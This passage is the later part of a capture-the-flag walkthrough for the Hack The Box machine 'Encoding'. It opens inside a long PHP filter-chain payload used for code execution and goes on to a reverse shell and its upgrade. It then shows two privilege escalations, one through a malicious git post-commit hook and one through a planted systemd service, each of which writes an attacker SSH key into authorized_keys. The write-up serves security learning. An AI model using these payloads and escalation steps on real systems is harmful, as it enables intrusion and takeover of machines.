rt.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp"
}
We set a listener on port 1337:
And we send the request. BOOM we're in:
Copy www-data@encoding:~/image/actions$
We need to upgrade our shell with the pty trick:
Copy python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL^Z
stty raw -echo; fg
as we can see we our connected as www-data so we don't hvae that much privileges s let's escalate our privileges:
Privilege Escalation
SVC USER
Copy sudo -l
(svc) NOPASSWD: /var/www/image/scripts/git-commit.sh
We can see that we can run this script as svc user. so let's take a look at it:
Copy #!/bin/bash
u=$(/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image ls-files -o --exclude-standard)
if [[ $u ]]; then
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image add -A
else
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify
fi
long story short, we need make to changes at /var/www/image so we can reach the commit. But the problem is we don't have write permission on /var/www/image.
So the trick is:
Copy git --work-tree /etc add /etc/hostname
This command attempts to add the file /etc/hostname
to the Git staging area, assuming that /etc
is the root of the Git repository. The --work-tree
option specifies the working directory of the Git repository, which is /etc
in this case.
let's try that:
Copy www-data@encoding:~/image$ git status
On branch master
nothing to commit, working tree clean
www-data@encoding:~/image$ git --work-tree /etc add /etc/hostname
www-data@encoding:~/image$ git status
On branch master
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: hostname
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: hostname
OK we did that but how we can escalate our privilege? that's where this directory ./.git/hooks
comes to place what are hooks:
Copy .git/hooks is a directory in a Git repository that contains scripts that are executed automatically by Git when certain events occur. These scripts are commonly referred to as "hooks" and are used to automate tasks such as running tests, checking code formatting, and notifying team members of changes.
if we take a look:
Copy www-data@encoding:~/image/.git/hooks$ ls
applypatch-msg.sample pre-commit.sample prepare-commit-msg.sample
commit-msg.sample pre-merge-commit.sample push-to-checkout.sample
fsmonitor-watchman.sample pre-push.sample update.sample
post-update.sample pre-rebase.sample
pre-applypatch.sample pre-receive.sample
so if we can change any of those should work right? No it doesn't go that way. Because those are runned only when certain functions are called but in our script we worked only with commit and add and since add doesn't have a hook we will work with commit. We can see the pre-commit.sample that will not work also because we have this argument --no-verify
on the commit whch skips any pre-commit hooks that may be configured in the repository. So the plan is to create our post-commit.sample. First copy the body of pre-commit to post-commit:
Copy cp pre-commit.sample post-commit.sample
The plan is to create an ssh key at /home/svc/.ssh/authorized_keys so we can ssh to the box.
First let's create our key:
Copy ssh-keygen -t ed25519 -f svc
now we have 2 keys svc (private key) & svc.pub (public key). We are goign to store the public in this file /home/svc/.ssh/authorized_keys
and ssh to the box as svc.
post-commit.sample
Copy #!/bin/sh
#
# An example hook script to verify what is about to be committed.
# Called by "git commit" with no arguments. The hook should
# exit with non-zero status after issuing an appropriate message if
# it wants to stop the commit.
#
# To enable this hook, rename this file to "post-commit".
#!/bin/bash
mkdir -p /home/svc/.ssh
chmod 700 /home/svc/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICcnY8SThLpS8uhLRMHYPs1/huUQffEikeiatDfpucTX ichyaboy@ichyaboy' > /home/svc/.ssh/authorized_keys
chmod 600 /home/svc/.ssh/authorized_keys
now we need to remove the .sample part and set it as executable:
Copy let's try and run /var/www/image/scripts/git-commit.sh as svc
Copy sudo -u svc /var/www/image/scripts/git-commit.sh
Copy www-data@encoding:~/image$ sudo -u svc /var/www/image/scripts/git-commit.sh
On branch master
nothing to commit, working tree clean
So we do the changes on the repo as we did before with(why we are repeating this is because there is a cron which reset everything, you will notice while doing the machine):
Copy git --work-tree /etc add /etc/hostname
Copy www-data@encoding:~/image$ sudo -u svc /var/www/image/scripts/git-commit.sh
[master 2caca42] Commited from API!
1 file changed, 1 insertion(+)
create mode 100644 hostname
It worked so let's try and ssh with the private key:
Copy ssh -i svc svc@10.10.11.198
Copy svc@encoding:~$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
svc@encoding:~$
Copy svc@encoding:~$ ls
user.txt
svc@encoding:~$ cat user.txt
******************************c5
ROOT:
Copy (root) NOPASSWD: /usr/bin/systemctl restart *
As we can see we can restart any service managed by systemd
that's what systemctl command do. So let's check if we can write a service:
Copy svc@encoding:/etc/systemd$ find . -writable
./user/session-migration.service
./system
it seems we have write permission on this both directories
Copy svc@encoding:/etc/systemd$ getfacl system
# file: system
# owner: root
# group: root
user::rwx
user:svc:-wx
group::rwx
mask::rwx
other::r-x
We have only write and execute permission on system so we can't read its content. But as www-data we have read and execute so let's check it:
Copy www-data@encoding:/etc/systemd/system$ ls
cloud-final.service.wants display-manager.service.wants multi-user.target.wants rescue.target.wants snap-snapd-17336.mount sshd-keygen@.service.d
cloud-init.target.wants emergency.target.wants multipath-tools.service sleep.target.wants snap.lxd.activate.service sshd.service
dbus-org.freedesktop.ModemManager1.service final.target.wants network-online.target.wants snap-core20-1634.mount snap.lxd.daemon.service sudo.service
dbus-org.freedesktop.resolve1.service getty.target.wants oem-config.service.wants snap-core20-1695.mount snap.lxd.daemon.unix.socket sysinit.target.wants
dbus-org.freedesktop.thermald.service graphical.target.wants open-vm-tools.service.requires snap-lxd-22923.mount snap.lxd.user-daemon.service syslog.service
dbus-org.freedesktop.timesync1.service iscsi.service paths.target.wants snap-lxd-23541.mount snap.lxd.user-daemon.unix.socket timers.target.wants
default.target.wants mdmonitor.service.wants pm2-root.service snap-snapd-16010.mount sockets.target.wants vmtoolsd.service
Copy [Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target
so let's create our service in /etc/systemd/system directory:
Copy [Service]
Type=oneshot
ExecStart=/bin/sh -c "echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICcnY8SThLpS8uhLRMHYPs1/huUQffEikeiatDfpucTX ichyaboy@ichyaboy >> /root/.ssh/authorized_keys"
[Install]
WantedBy=multi-user.target
We are inserting the public key we ade into the root ssh authorized_keys so we can ssh as root
Copy svc@encoding:/etc/systemd/system$ nano privesc.service
svc@encoding:/etc/systemd/system$ chmod +x privesc.service
svc@encoding:/etc/systemd/system$ sudo /usr/bin/systemctl restart privesc
svc@encoding:/etc/systemd/system$
it did work let't try and ssh as root:
Copy ssh -i svc root@10.10.11.198
Copy root@encoding:~# ls
root.txt scripts
root@encoding:~# cat root.txt
******************************8b
root@encoding:~#
And we finally rooted the machine.
I hope this walkthrough was helpful. I tried to explain as much as i can so everyone can understand what i'm doing step by step.